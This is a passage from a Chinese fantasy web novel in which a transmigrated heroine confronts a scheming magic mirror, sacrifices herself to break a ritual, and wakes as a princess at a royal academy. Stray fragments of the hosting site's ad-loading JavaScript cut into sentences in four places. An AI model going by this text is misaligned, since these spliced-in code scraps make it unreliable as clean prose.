“国王提到前段时间王后去了一趟费里特见到了自己的导师，得到了关于帮助国王免受冰雪之力损害的启示。但凯特罗琳没有成为女王，拜厄的客运业依赖普通马车，两国来回需要长达半年时间。 “王后并没有去到真实的费里特，而是你给她构建的镜中费里特。你本人，夜仙女凯妮丝，就是她的导师，不是吗？” 她说的这些话，在场只有三个人能够听懂。但所有人都没有轻举妄动，在夜色中静静等待。 “是的。” 魔镜承认了，她从镜子中走了出来，脚踩在了森林的地上，踩着落叶发出嘎吱的脆响。 魔镜已经很擅长模仿人类的表情和动作，她笑起来非常自然亲切。她说：“你在这么短的时间内就成为了能够独当一面的巫师，实在是太令我惊喜了。但我不喜欢你现在看着我的方式，我以为你会很爱你自己，所以我才以你内心深处最有自我认同的形象出现。” 说话间，她的身影变得模糊，然后成为了与海因里希有着相似五官的男人。但他黑发黑眼，穿着白衬衣和休闲裤，是很干净清爽的男大形象，是卡特琳娜在穿越前的世界里常见到的那种人。 “这样呢？会不会让你看着我的时候，心情更好一些？”魔镜试探着询问，音色也相应地转变为清亮的男声。 “你！” 站在卡特琳娜旁边不远处的海因里希不淡定了，他当然能认出那是自己的样子。他也大概听懂了两人之间的对话，意识到这一切很有可能是这个有着多重身份的奇怪人物所苦心设计的。 但卡特琳娜轻轻瞥了他一眼，让他把未出口的话咽了回去。 即使这样，魔镜也嫌弃自己与卡特琳娜的对话被一个不相关的人打断。他没能在表情上做出恼火的样子，但能够将他和卡特琳娜封闭在独属于他们的灵空间内。 仅是一瞬，卡特琳娜便感觉到周围的一切都被冻结了，然后画面变得扭曲复杂。 她稍微眨眼，发现自己出现在了一个陌生的地方。 她站在宫殿高大的拱形门前，心跳几乎与耳边的鼓乐节奏同步。大理石地板在脚下泛着冷光，巨大的宫廷吊灯悬在头顶，每一盏灯都镶满了水晶，仿佛是满天星辰洒落下来。 辉煌的大厅中，宾客们已经各自入座，他们的华丽礼服在金碧辉煌的背景下犹如缤纷的花朵。贵妇们的发髻上缀满了宝石，男士们穿着笔挺的礼服，胸前挂着各式各样的勋章和徽章。 前方，未曾蒙面的凯特罗琳和亨利夫妇端坐在王座上，他们注视着这场婚礼，目光冷静而威严。 每一个人都注视着她，但他们的面孔却都模糊不清。 这一刻，卡特琳娜只能感觉到自己，以及走道尽头的那个男人。 她的双手轻轻颤抖，握紧了捧着的花束。海因里希，不，扮作海因里希的魔镜正站在那里，身着象征权力和荣誉的华贵礼服，金色的披风从肩上垂下。 他笑着，像是每一个童话故事结尾处获得幸福的男主角，张开怀抱迎接自己的新娘。 是记忆的重现？还是历史的投射？ 卡特琳娜不太清楚，这段记忆对她来说太过于陌生了。 随着她一步步走近，乐章也奏响着最激昂的部分。洁白的婚纱长长的裙摆像流水一样在地面上轻轻拖曳，每走一步，丝缎与金线的光泽都与脚步相随。 她走到了魔镜的面前，感觉到手被握住，温暖、安定，仿佛真人。 大厅中的喧闹声逐渐消散，仿佛世界只剩下他们两人。牧师开始朗诵神圣的誓言，烛火在他们身旁摇曳生辉，似乎见证着这一刻的永恒。 卡特琳娜看着眼前与海因里希一模一样的脸，并没有被灵空间的场景迷惑。虽然魔镜的力量出乎了她的意料，但她并不愿意完全落于下风。 她冷冷道：“对我来说，你长什么样子，都没有任何差别……无论你是我的样子，是卡特琳娜的样子，还是海因里希的样子，你对我来说只是一面镜子而已……” 听了她的话，他没有表露出任何情绪，仍像新郎那样笑着。 “不，我的卡特琳娜，我可不仅仅只是一面镜子。” 卡特琳娜一直看着他的脸，第一次觉得海因里希俊美的五官有种诡异的恐怖感。虽然他在笑着，但却只是在模仿，在复制。 他说：“镜子在镜中又怎么会有真实的镜像呢？你 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 与每一个镜中的卡特琳娜都不是同一个，但每一个镜中的我都是同一个——这就是我与你们最大的不同。” “无所谓。”卡特琳娜不希望被他察觉自己内心的恐惧，但他离她的内心实在是太近了。即使可能是徒劳，她也必须伪装得冷漠强硬，只有这样她才有勇气和信心。 她曾把一面镜子当做来到这个世界后唯一的朋友，但事实证明是她错了。她是异界的旅人，本就不该对这个世界的任何人或物产生感情。 魔镜利用她内心中对童话的认知，推动她、诱导她…… 她问：“我对你是什么并不感兴趣，我只想知道你的目的。为什么要那样对我？又为什么要让我穿上幽灵骑士的铠甲，受召唤来到这里……” “为了完成我们的契约。”魔镜回答说，“但你的力量太弱了，必须以最快的方式让你强大起来，我不得不这样做。虽然现在你可能不理解，但以后一定会感谢我为你做的这一切。我的卡特琳娜，我不忍心看到你的堕落，我希望你能完成与我签订的契约。” 堕落。 卡特琳娜本就白皙的脸更加苍白，她捕捉到了魔镜的用词。堕落一词，往往用于与魔鬼的交易。 “这不是一件简单的事。”魔镜继续说，“我的故乡永夜之都是创世双城之一，要让它重现于世，不得不依靠特殊的手段。我们需要一个孩子，它不仅仅是统御北大陆的王者，也是死神降临的容器，更是永夜之都的开端……” 卡特琳娜瞪大了眼睛，手被他紧紧握住。 这时候，牧师的声音朦朦胧胧响起：“……请新郎为新娘戴上戒指……” 瞬间，婚礼现场的场景消失。 卡特琳娜感觉到浑身被火焰灼烧，她环顾四周，发现都是火。她想要寻找魔镜的身影，却在回头时被一个可怖的幽灵吓了大跳。 是曾占据她身体的幽灵女。 幽灵女被绑在火刑柱上，遭受火焰的炙烤，用怨毒的眼神盯着她看，似乎恨不能将她瞪穿。 “我说过！我会在地狱等你！你终于也下地狱来了！哈哈哈哈哈！” 幽灵尖利的声音让卡特琳娜感觉头痛，一道身影挡在她前面，替她遮挡了地狱火的热量，令她好受了许多。 “她……也是你设计的一环？”卡特琳娜不敢确定。 “当然不是。”魔镜回答说，“她是肯*沙穆为了牵制女王，而召唤的罪恶亡魂，企图控制女王唯一的女儿。每年拜厄送到洛尔兰的食材，都是由肯*沙穆做了手脚。” 卡特琳娜疑惑：“既然你一直都知道，为什么现在才……” “现在是最好的时候。”魔镜说。 又一瞬，卡特琳娜离开了灵空间，回到了夜色中的森林。 她与海因里希站在一起，洛尔兰王宫骑士团将他们团团包围，魔镜和国王夫妇已经被架着的马林在他们的对立面。马林面色苍白，胸口渗血，卡特琳娜几乎能猜到他遭遇了什么。 他的肺叶和肝脏被吃掉了，但他还没能马上死去。 他是循环启动的扳机点，他不能死。 63. 白雪公主（16） 即使王后“卡特琳娜”穿着较为宽松的宫廷服，但还是让人注意到了她不断隆起的腹部。 她本不该出现在这里，但作为仪式的一部分，她又必不可少。 卡特琳娜能够通过灵力感应到她肚子里的动静，里面孕育着一个孩子，拥有范维西和古奥斯的纯洁血脉。 魔镜背后的镜面显示出似有似无的火焰，与她刚刚在灵空间里见到的非常相似。 她的耳边还回响着幽灵女狠毒的尖啸，她知道这意味着什么了。 伊桑*莱斯利腹中的孩子是由哪里而来，她已经知道了。 “你口口声声说是为了我……实际上都是为了你自己。” 她手里的匕首开始发烫，“圣泪”的力量她还无法完全掌握，但她不得不做出这样的尝试。她面色越发冰冷，看着魔镜的眼神也越发阴暗。 “你知道我想要的是什么吗？我只想要回到我自己的世界里去，谁愿意掺和你们这些乱七八糟的事情！” 最后一句她又大吼了一声，再次掀起了巨大的风力。 狂风中，卡特琳娜趁机闪身到马林的身前，一下将匕首刺进了他的心口，想要触发时空重置。她不知道海因里希的加入会不会导致重置失败，但这是目前最好的办法。 镜子碎裂的声音。 马林的轮廓在原地消失，散落了一地的镜子碎片。这是镜子替身魔法，发动人是镜中人“卡特琳娜”。 “海因里希”将“卡特琳娜”护在身后，走上前来，说：“她，交给我来解决。” 与此同时，包围他们的骑士立即冲过去想要发动攻击，被海因里希的冰雪审判之剑给逼退。他并不完全清楚事情的发展，但他知道自己应该是与卡特琳娜站在同一边。 可惜的是骑士的数量实在太多，他无瑕顾及卡特琳娜这边。 卡特琳娜预感不妙，她转头发现马林出现在魔镜的身旁。他的身体太过于虚弱，被魔镜一把抱住，成为了玻璃镜面的影像。 看来，魔镜非常有信心，这会是最后一次循环。 之前在王宫书房内，“海因里希”的实力没有完全发挥出来。如今在夜晚的森林中，他有了更多的优势。 “冰冻！”他嘴里念诵着。 卡特琳娜立即感觉到自己的血液流速变慢，似乎被冻结住，她的脚步难以迈出，思维也变得迟滞。 但这里是夏季的洛尔兰，她又由于情绪不稳而浑身着火，并没有完全被“海因里希”的“冰冻”效果限制。 “海因里希”趁机拔剑向她攻击。 卡特琳娜知道自己剑术比不过他，并不与他正面对抗，直接用了镜子替身魔法承受了那一剑。同时，她闪身远离了“海因里希”，却是离“卡特琳娜”更近了。 “冰冻！”卡特琳娜模仿着“海因里希”的音调念诵着。 镜子复制术。 “海因里希”握剑后退，却发现魔法没有在他身上起效。 然而，一旁的“卡特琳娜”捂住了自己的肚子，发出了“呜”的一声。“海因里希”顾不得其他，奔过去扶住自己的妻子。 “卡特琳娜”站住，虽然脸色苍白，但向丈夫示意自己无事。 “海因里希”眼神愤怒，无法容忍对他妻子动手的女人。他再次拔剑，攻势无比迅猛，所及之处的空气中都将水雾凝结成冰。 卡特琳娜连连躲避，但地面不断刺出冰锥，刺破了她的鞋子，将她的双脚和双腿刺得伤痕累累。她将“圣泪”化作盾牌抵挡，却没想到“海因里希”的速度和力气都是她不能敌。 几秒的时间她都要坚持不住。 卡特琳娜不得不喘着气向他解释：“我没有对你的孩子动手！” 她怎么可能伤害一个无辜的孩子？她还没有恶毒到这种地步！刚刚的镜子复制术，就没有起效！ 这是非常高阶的镜子魔法，她第一次使用，失败也是很正常的情况。 “一切都是那个镜子恶魔的阴谋！他要偷走你的孩子！他将我们所有人聚集到这里，就是为了一个邪恶的仪式！”卡特琳娜在慌乱之中将真相吼了出来。 但“海因里希”根本不信任她，剑已经刺到她的右肩，将她的皮肤划破，令她肌肉刺痛，鲜血溅出。 卡特琳娜的右手立即拿不住盾牌。趁她卸力的同时，“海因里希”的剑尖直击她的面门。 卡特琳娜都来不及闭上眼睛。 他的剑被弹开了。 海因里希终于将包围他们的将近一百名的骑士尽数击败，他将“海因里希”击退，横在卡特琳娜面前。 卡特琳娜本想向面前这对国王夫妇解释，但她知道他们不会相信她，说再多都没有用。她住了口，大脑开始飞速运转。 其实，她刚刚冒险将猩红匕首刺向马林的胸口，就是为了试探魔镜的反应。 马林当时拿走了王后给她的猩红匕首，剖出了自己的肺脏和肝脏完成召唤仪式的条件。 照常理来说，条件满足之后，卡特琳娜应该是会被传送回被召唤前所在的世界。但这件事并没有发生，说明召唤仪式的条件不只是这一个。 他们的目的不仅仅是马林的肺脏和肝脏，还有他的灵魂。 令人难以理解的是，马林本人身上又存在着巨大的矛盾点。他有着怪异的可以导致时空重置的能力，但依据海因里希所说，马林在镜外世界中已经死了，却没有触发他婴儿时期那样的循环。 因为这里面出现了一个漏洞——海因里希。 由于他穿越了镜界，存在于两个世界当中，并且在两个世界当中都经历了马林死亡的过程。其中任何一个马林死了，海因里希都应该陷入他复活又死去的循环中。 然而，海因里希在目睹了一个世界的马林的真实死亡后，穿越到了镜界当中。目前，在这里的马林还没有死亡，循环还没有被触发。 但这个循环是肯定会被触发的。 因为一个人不可能同时陷入两个循环，海因里希没有陷入那个 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 世界的循环，而是来到了这里，所以由此可以得出，时空循坏还没有终结，这绝不该是最后一轮。 卡特琳娜想通了这一点，至于为什么先死的没有触发循环，后死的却能触发，这就不在她的考虑范围内了。 魔镜利用契约的漏洞，不会再听命于她。 现在，能够帮助她的人只有海因里希了。即使他来救她，是为了利用她保护洛尔兰，但目前他们两个确实是站在一条船上的人。 她对海因里希说：“必须杀了马林，让一切重新开始……” 海因里希知道她的意思，却这个镜界中的人没有感情，即使是“自己”，他也能拔剑，更何况马林。所以他没有转头，回答道：“我拖住他们，你追过去。” 有了他的配合，卡特琳娜不再多想，转身往玻璃镜面的方向去。 “真实之镜！”卡特琳娜念诵咒语。 她手中的镜面显示出真实的画面，让她找到了隐藏的魔镜和马林。 既然这里是仪式的中心，他们不可能离开。 魔镜使用了镜子隐身术将马林隐藏起来，将被海因里希击倒的骑士尸体排列成奇异的圆形，并铺上了整齐的圆环状的布带。 马林被他放置在圆的中心点，没有穿着任何东西，蜷缩着身子悬浮在半空中，离地面有一米左右的距离。月光洒在他的身上，让他的皮肤显得更加白皙光泽。他睡颜平静安详，美得令人赞叹，宛如孕育在母体体内的天使。 魔镜无法离开镜子的范围，他出现在现实世界的形象是虚拟的，但他的力量已经足够强大，能够辐射出来做一些自己想要做的事情。 他身后是透明的玻璃镜面，隐隐约约有着一个幽灵的鬼影。 卡特琳娜知道，那是还没有下地狱的幽灵女。 来不及了。 她再次将“圣泪”化作了滚烫的猩红匕首，闪身接近圆心。但周围太多分辨不出的透明玻璃镜面混淆她的视线，倒下的骑士尸体也不断伸手阻碍她的行动。 等她离马林只有一米距离的时候，月光已经在他周围形成了一个球形屏障，将他彻底保护了起来。 “为什么你会觉得杀了他，一切会重新开始？而且，重新开始，就会有不一样的结局吗？我的卡特琳娜，虽然我不记得了，但我知道，在每一个结局里，你都会走向我。” 魔镜突然出现在她旁边，抓住了她的手腕，劝说道：“你还不会用这件绝世珍宝，先交给我来保管。让我以后再好好教你，好不好？” 卡特琳娜已经不愿意再听他说话，她只相信自己的判断。 魔镜并不是她认为的那样，是完全听命于主人的附属物。他是活了几千年的怪物、恶魔，自从他醒来之后，一直在暗示、诱导卡特琳娜往他设计的陷阱里跳。 如果童话故事里的恶毒王后要杀白雪公主，也不是自己想杀，而是被一面魔镜教唆、指使。 “其他每一个镜界里的我，都是那样做的吗？”卡特琳娜问。 64. 回到过去 魔镜顶着海因里希的脸，露出了欣慰慈祥的表情，说：“当然，我的卡特琳娜，虽然你不记得了，但我是你的朋友、你的导师、你的知己，这世界上不会有比我更了解你、更为你好的人。你只是陷入了迷途，还可以在我的帮助下走回正道。 “‘圣泪’让你的灵力消耗太快，你已经快支撑不住。将它交给我，我来帮助你。” 在这一刻，卡特琳娜真的很想要接受他的帮助。 不愧是人灵派的巫师，他的语言有着魔力，让她愿意去相信他说的每一句话每一个字。 但她意识到了不协调的部分。 原本她以为“圣泪”的出现也是魔镜设计的一部分，就像他所说想让她快速成长起来。但显然他并不希望她成长得太快，而是在他能够掌控的范围内。 既然他诱惑她将“圣泪”给他，那说明“圣泪”的出现不是魔镜的手笔。 这个宝物的能力，比起魔镜本身也毫不逊色。唯一遗憾的是，它似乎没有活着的特性，不像魔镜已经学得越来越像人类了。 卡特琳娜的战斗经验不足，但她却擅长模仿。她是天生的镜子魔法学巫师，她领教过海因里希的剑术。 她没有回答，反而矮过肩膀，“圣泪”变化在了她的左手。她直接朝魔镜的脖子插过去，然后听到了镜子碎裂的声音。 镜子替身。 魔镜没有真实的□□，所有的他都可以是镜子替身。 “你没必要阻止这场仪式。”魔镜的身影出现在了她的身后，声音就在她耳边响起，“没有必要让时空重置，重新再来不会让你获得任何好处，因为每一次，你都不可能胜过我。” 卡特琳娜知道他说的没错。 如今的他依附于更强大的“卡特琳娜”，她一个魔法学入门者根本不可能与他对抗。 但显然，他对她的好奇和兴趣，比对相处了十年的那个“卡特琳娜”要更多些。甚至为了试探她的喜好，他重现了当年她与海因里希在费里特王宫的婚礼场景。 她是“穿越者”，她的身上有着特殊，强烈地吸引着他。 本来，卡特琳娜的潜意识已经相信自己就是卡特琳娜本人，在十五岁时的意外中灵魂被放逐。后来的穿越，则是灵魂回到原身。 但魔镜对她的态度，让她重新开始审视自己的身份。 不论她是不是真正的穿越者，但只有她相信自己是谁，她才会是谁。 外界的认可、他人的评价都不是那么重要，重要的是她想要成为一个什么样的人，她接受自己最本身的样子是什么。 正如马林。 “卡特琳娜”和“海因里希”注定不会有孩子，即使孕育胚胎，也不会有灵魂形成一个完整的生命体。 他们逆天而行，只能选择马林这样特殊的灵魂，让胎儿存活，相当于是借尸还魂术。这个孩子能够承受足够的冰雪之力，分担“海因里希”的病痛。然后，幽灵女会将孩子偷走，放入伊桑*沙穆的腹中。 这会是一举三得的事情。 那马林还会是马林本身吗？他会是马林，还是一个全新的生命，亦或者是什么混合体的怪物？ 这都没有什么所谓。 重要的是他认为自己是什么。 卡特琳娜想起了白钰，那个在大火中失去性命的小姑娘。她替代了她的名字，却并不是替代她而活。 她永远为自己而活。 白钰成为了她生命中的一部分，卡特琳娜也是。 “我不需要战胜你。”她说。 紧接着，卡特琳娜手中的圣泪变成了一条红色的丝带，开始蔓延变长，在马林的身体下方形成了一个诡异却熟悉的阵型。 魔镜对此相当疑惑，他试图阻止，拔剑挥向红色的丝带，却不能够触及到。 “什么……” 卡特琳娜过目不忘，虽然她的记忆力一直很好，但不知道是从什么时候开始，记忆宫殿中的一切太过于清晰，连地面的纹理都能完美重现。 这是当时幽灵女试图将她的灵魂与简妮置换时的阵法。 既然她无法打破月光的屏障，那她只能打破灵魂的屏障。 咒语从她嘴中倾斜而出，她感觉到灵力由她的身体源源不断往外，就像是被什么巨大的引力抽离。 她由于脱力而跪在了地上，膝盖的疼痛也没能阻止咒语的念诵。 魔镜瞪大了眼睛，他虚幻的身体也受到了这股巨大力量的影响，变得透明而模糊。他不得不控制骑士的尸体，想要阻止卡特琳娜，但他们无法触碰红色丝带，只能朝卡特琳娜扑过去。 卡特琳娜接连闪避，利用镜子转移术移动，但她逐渐体力不支。 骑士们并没有伤她，而是抓住她的手，将她按倒在地上，试图捂住她的嘴巴，不让她继续念诵咒语。 卡特琳娜一口咬在尸体的手指上，将手指断。她嘴中的咒语没有停止，甚至越来越大声，引起了所有人的注意。 另一边的海因里希也逐渐不敌国王夫妇两人的联手对抗，他身上留下了无数伤口，甚至还中了“卡特琳娜”的巫毒。 国王夫妇发现了仪式被卡特琳娜干扰，洒在马林身体上的月光越来越浓稠黏腻。他们也就顾不上海因里希，立即来到圆形的中央魔镜虚影的旁边。 “阻止她！” 他们听到魔镜的指示，立即对卡特琳娜出手。 “海因里希”的剑刺过来，令魔镜再次惊呼：“不能伤她！” 这时候，卡特琳娜的咒语几乎已经念诵完毕。 “海因里希”顿了顿手，想要收回手中的剑。 但卡特琳娜挣开了骑士尸体的限制，直直撞在了“海因里希”的剑上。 剑刃破开胸膛的声音，心脏跳动的声音，魔镜彻耳的惊呼：“不！！！” 他撞开了“海因里希”，接住了往下坠落的卡特琳娜。 鲜血顺着红丝带将仪式阵画染得更加鲜红，就连悬浮在半空中的马林的身体也变得有了血色。 “不，不，不……你为什么，为什么就不能听我好好说？” 在卡特琳娜看来，魔镜的脸越来越模糊，不再是海因里希的复制品，而是她自己的样子。如果她是男孩的话，应该跟他是一个样子。 一头略显凌乱的短发，发色偏深棕，发丝随意地垂在额前。线条分明的脸，柔和的轮廓，健康色的皮肤。眼瞳颜色较深，眼尾微微上扬，双眼含泪也掩饰不了锐利和 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 自信。 可是没有如果，还魂术的咒语她刚好念到了最后一个字，她会和马林交换。他们两个都是无法掌握自己命运的人，唯一期望的是他们不要也迷失了自己。 “我没有骗你，我只是还剩了好多话没有跟你说。你刚刚来没有很长时间，有些事情你还接受不了。” 魔镜的声音越来越轻，越来越小，让卡特琳娜分辨不出他在说什么。但她清楚这个音色，不属于卡特琳娜，也不属于海因里希，是属于魔镜本身。 第一次听的时候，就觉得他的声音很有魔力，难辨男女，不像是人类的声音。 “我的卡特琳娜，虽然我一直在说要你将我带回我的故乡永夜之都诺尔南都拉尼亚，但你忘记了，那里也是你的故乡。我们应该一起回去，这是注定的，你必须要履行的承诺。 “你还会来找我吗？我会一直等着你来找我。 “你是不是想问我，为什么要让她召唤幽灵骑士的你来这里？为什么是你，你有什么不同？ “你就是不同的。 “你给了我名字，这是我唯一一次拥有属于我自己的名字。 “米洛，你不要忘记你给我取的名字。 “只要你呼唤我，我就会回应。” 卡特琳娜似乎还听到了些什么，像是海因里希的声音，马林的声音，还有米洛的声音，但她已经听不清了。 血液凝固，月光糊住了她的双眼和双耳。 她什么都看不见、听不到。 她不明白米洛为什么要跟她说这些，她的换魂仪式成功了，她与马林交换了灵魂。 现在她要死了，马林也要死了。 他死了之后，一切都可以重新开始。 即使是循环，但能够重新开始，总会有改变的机会。卡特琳娜相信自己，她能够在无数次尝试中最终获得成功—— * “凯特！” 极其漫长的混沌后，卡特琳娜觉得有些恍惚，似乎听到有人在叫她，但发音不太标准。 她记得她对马林说过，她叫做“卡特”，也许是马林给记混了。 她眼前的景象清晰起来，是一条长街，陌生的长街。 阳光太过于刺眼，由街边房屋的五彩玻璃窗户反射到她的眼里，让她下意识伸手去遮挡。 她回过头去，想看看身后叫她的人。 街边的建筑多是三层高的木石结构，带有尖顶，外墙上装饰着精美的雕刻和色彩斑斓的漆画。商铺林立，门口挂着各式各样的招牌，有金匠铺、织布坊、香料店、面包房，甚至还有几个小酒馆。 清晨的街道上已经有很多人，各式各样的摊贩叫卖声此起彼伏。 空气中弥漫着各种气味，有烤面包的香气、皮革的气味、香料的辛辣和人群的汗味。 街道中央站着一个十五六岁模样的少年，由于背光，卡特琳娜看不清少年的模样。 “你傻站着干什么？去学院要迟到了！” 少年跑过来挽住她的手，嗓音清亮，但略微压低的音调带着独特磁性。手掌覆在她的腕子上，温温的，湿湿的。 卡特琳娜侧过脸去，终于看清了少年的相貌。 竟然是他？ 65. 皇家学院 “魔法并非仅仅依靠咒语与法杖的力量。” 教授的声音在高大的拱形天花板下回荡：“魔法，源自你们内心的秩序与混沌之力。任何强大的法术，只有当施法者内心与自然力量完美共鸣时，才能真正释放出其潜能。 “你们并非魔法学的初学者了，但无论何时，都不能忘记你们自己学习的初衷，以及魔法学的本质。” 拜厄皇家学院的魔法学课堂设在一座宏伟的石砌大厅中，天花板上镶嵌着繁复的星象图，随着时间的流动，星辰缓缓转移，仿佛整个宇宙的力量在这一刻汇聚。 卡特琳娜坐在学生当中，看似认真听课，内心的疑惑却越积越多。 她认识拱形天花板上的部分星座，与她的地球北半球见过的没有太多差别。她分不清自己是在梦中，还是又穿越到了哪里。 从时空重置触发以来，她作为学院二年级生在拜厄皇家学院听魔法学专业的重要课程《高级符文与咒语构建》。课程内容是复杂符文的结构与编排，高级咒语的组合与运用。 虽然她并没有第一学年的记忆，但目前是第一次课，绪论听起来不算困难。 教室四周的石壁上悬挂着几幅古代伟大巫师的画像，卡特琳娜不敢细看，总觉得他们的目光仿佛穿透了岁月，能戳破她心底的秘密。 “凯特，你想什么呢？”少年与她同桌，偏过头戳她的胳膊。 卡特琳娜思维有些没转换过来，在来教室的路上过于着急，来不及问少年的名字。她也不敢轻易暴露自己的身份，思索着该怎么应对。 同桌是穿着男装的假小子，穿着一身简洁的男装，一件深色的马甲紧紧束在腰间，显得身形修长而干练。外面罩着一件长款的外套，袖口微微卷起，露出手腕。 眉宇间很是英气，举止洒脱。乌黑的短发干净利落，发丝略显凌乱，轮廓清秀硬朗，尤其是那高挺的鼻梁和微微上扬的唇角，让人不疑有他。 诡异的是，她的脸，是卡特琳娜作为白钰时的脸，也是魔镜在镜中显现过的其中一个形象。 所以，卡特琳娜总觉得不太真实。 结合黑暗中她所听到的魔镜的声音和话音，她认为也许自己是被拉入了某个虚幻的异空间。 卡特琳娜突然抓住少年的手腕。 少年略微一愣，但并没有反抗的动作，与卡特琳娜对视着。 卡特琳娜从她的眼眸中看到了自己的样子，是她本人没错……银发银眼的卡特琳娜，也许因为是学生，所以显得稚气了许多，有种涉世未深的纯真感。 奎克教授突然停下了正在讲授的内容，以低沉而威严的语气说道： “在魔法的世界里，专注是每一位巫师的基本素养，任何一丝不专注的行为，都可能导致法术的失控与危险。 “如果你们连在课堂上听课都做不到专心，无知地展示对知识的轻视、对自我能力的忽视。拉拉扯扯、私下交谈，只会暴露你们对这门学科的态度——如果你们无法尊重魔法，魔法也不会回应你们的召唤。” 卡特琳娜立即意识到，教授这是在影射她。于是她放开了同桌的手，将注意力转移到面前的书本上。 由于是绪论，教授简单介绍符文与咒语的高级概念，帮助学生建立对更复杂魔法结构的初步理解，强调魔法结构的精密性和符文体系在咒语中的核心作用。 卡特琳娜已经有过实战经验，这些内容对她来说不算困难。 下课后，她准备找到同桌好好聊聊，转头却发现位置上已经无人。她正要起身寻找，立刻被几个女同学拉住。 “凯特，昨天的开学典礼你怎么没有来？今年新生致辞的学弟是加西亚家的小伯爵！长得超级帅！” 其中一个深蓝色直发马尾的高挑女生一上来便挽住她的胳膊，似乎与她非常亲密。 “小伯爵还过来找我们问你呢，可惜你不在。” 卡特琳娜心中升起不太好的感觉，将胳膊收了回来。这个动作让马尾女生立即生气了，她抓住卡特琳娜的胳膊，问： “你怎么回事？今天差点迟到了不说？还跟那个晦气的凯妮丝坐在一起？你们什么时候这么熟了？” 凯妮丝？ 卡特琳娜心中一惊，是夜仙女凯妮丝吗？刚刚那个少年就是她？ “你别这样，凯特看起来不太舒服。是不是因为身体不适，所以没有来开学典礼？” 另一个金色齐肩短卷发的稍矮一些的女生将马尾女生拉开，关心地问，然后顺手帮卡特琳娜收拾了桌面的书籍和文具，扔给后面的同学拿着。 “斐丽佳，我看你想太多，凯特怎么会跟那种贱民有关系。不过是因为这个位置离门口近，无意中坐在了一起。”她见凯特没有回答，转而帮着解释，“现在该去吃饭了。” 在五六个女生的拥簇下，卡特琳娜被蓝发的斐丽佳和金发的诺维雅带着去学院餐厅。 卡特琳娜发现自己是这几个女同学中的核心人物，所有人都用或崇拜或钦羡或胆怯的眼神看她，对她的态度过于亲和或小心翼翼。 她之前在学校读书的时候都是独来独往，但也会注意到有这样类型的女生小团体，团体的核心人物无外乎都是权贵的孩子。 走到半路，她突然停下了脚步。 所有人都跟着她停下，等她。 她问：“我的全名叫什么？” 这个问题问得大家愣住，神色尴尬。斐丽佳轻轻拍了她的胳膊一下，“你干嘛，是在捉弄我们的吗？殿下？” 殿下？ 她没说话，盯住诺维雅不放。 在她们这个小团体中，她显然是核心人物，而斐丽佳和诺维雅则是她的“亲信”，其他人更像是普通小跟班。斐丽佳是狂傲矜贵的张扬个性，而诺维雅则内敛沉稳许多。 果然，诺维雅在她的视线逼迫下，回答了：“凯特罗琳*依耶芙特*古奥斯。” * 拜厄皇家学院被认为是北大陆的第一所高等教育学院，位于拜厄王国首都费里特。它由王室成员和全 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 知神教虔诚信徒法菲*古奥斯于创世纪659年创办，最初是作为一座教堂建立，同时也肩负着教育和学术的职责。 在王室的支持和贵族的捐助下，拜厄皇家学院逐步发展为一个综合性的高等学府，提供包括魔法学、神学、法学、天文学、医学、数学、语言学、政治军事学等多个学科的课程。 皇家学院一般只招收王室或贵族的子女作为学生，偶尔会准允捐助人的子女特批入学，平民几乎无法获得如此高等级的教育资源。 但近些年来，拜厄与莫里安的战事频繁。为了应对人才紧缺的问题，皇家学院会招收一些具有天赋的平民子女，帮助他们更好更快地获得能为国家做出贡献的技能。 凯特和凯妮丝显然就是最好的例子。 一个是国王的女儿，凯特罗琳*依耶芙特*古奥斯公主，生来就有享之不尽的荣华富贵和滔天权势；另一个是无根的孤儿，凯妮丝，连姓氏都没有，招收她的魔法学教授琼*库克赏识她的天赋，将她登记为自己的养女，从此之后她叫做凯妮丝*库克。 六个学院餐桌在餐厅内一字排开，每个学院的学生坐在自己学院划分的餐桌区域。 卡特琳娜吃着传说中的拜厄菜肴，心中仍旧无法消化自己变成了凯特罗琳的事实。 按照时间推断，现在是凯特罗琳的学生时期，相当于她穿越回到了四十多年前。 无论这里是真实的历史，还是虚幻的异空间；无论这里是凯特罗琳成为女王的现实，还是凯特罗琳将王位让给夫婿的镜界，卡特琳娜相信，一切的关键都在于那个叫做凯妮丝的假小子。 “怎么不吃？”诺维雅问她。 太难吃了。卡特琳娜面上笑着，心里吐槽，完全不像伊桑曾向她描述的那样——费里特宫廷菜偏辣口，滋味美妙。 “不太饿。”她感觉自己已经很久没有认真吃东西了，但确实是不太饿。 她打量着周围规矩吃饭的同学们，从桌头望到了桌尾，依然没有找到她要找的人。 凯妮丝会在哪里？ “要我帮你吃吗？如果不吃完，就算是你也会被罚的。”斐丽佳主动提出。 学院规矩森严，对学生的管理相当严苛。 今早卡特琳娜与凯妮丝从围墙偏僻的地方翻越进来才没有迟到，不然被风纪委员会发现，将会面临很大的风险。 卡特琳娜还不太习惯这些，她点点头。 斐丽佳将她的餐盘挪到自己面前，还没有动叉子，一只绿色的大鹦鹉飞到了卡特琳娜的肩头。 鹦鹉的脖子上挂着一个银牌，上面写着“监督者”的字样。 斐丽佳被吓得面色苍白，赶紧将餐盘还了回去。 “该死！被发现了！”斐丽佳生气地说。 卡特琳娜不得不自己吃掉餐盘里难吃的食物，鹦鹉飞了回去。她一边平淡地吃着，一边心中开始荡起波澜。 鹦鹉用魔法传达了只有她能听到的话： “凯特，一会儿来老地方找我。” 66. 镜影谬换 老地方？ 卡特琳娜根本不知道老地方是什么地方，甚至她都不知道是谁借由鹦鹉向她传话。这显然是物灵派巫师的手笔，能对“监督者”进行令人神不知鬼不觉的魔法控制。 虽然魔法被分为了大致三个学派，但他们作为魔法学入门学生在皇家学院三年制魔法学专业班中，只能学习到相对基础的知识。 毕业后，选择就业的学生会在魔法实践中选择自己的学派。如果是加入到魔法教育的行业当中，没有学派的限制，可以进行全学派授课。由于跨学派存在精神崩塌的风险，全学派授课的教师主要是以理论为主，或者私下会有自己倾向性的魔法学派。 而选择升学的学生，则必须通过相应学派的研究生入学考试，由具有导师资格的巫师进行一对一的教学和指导。 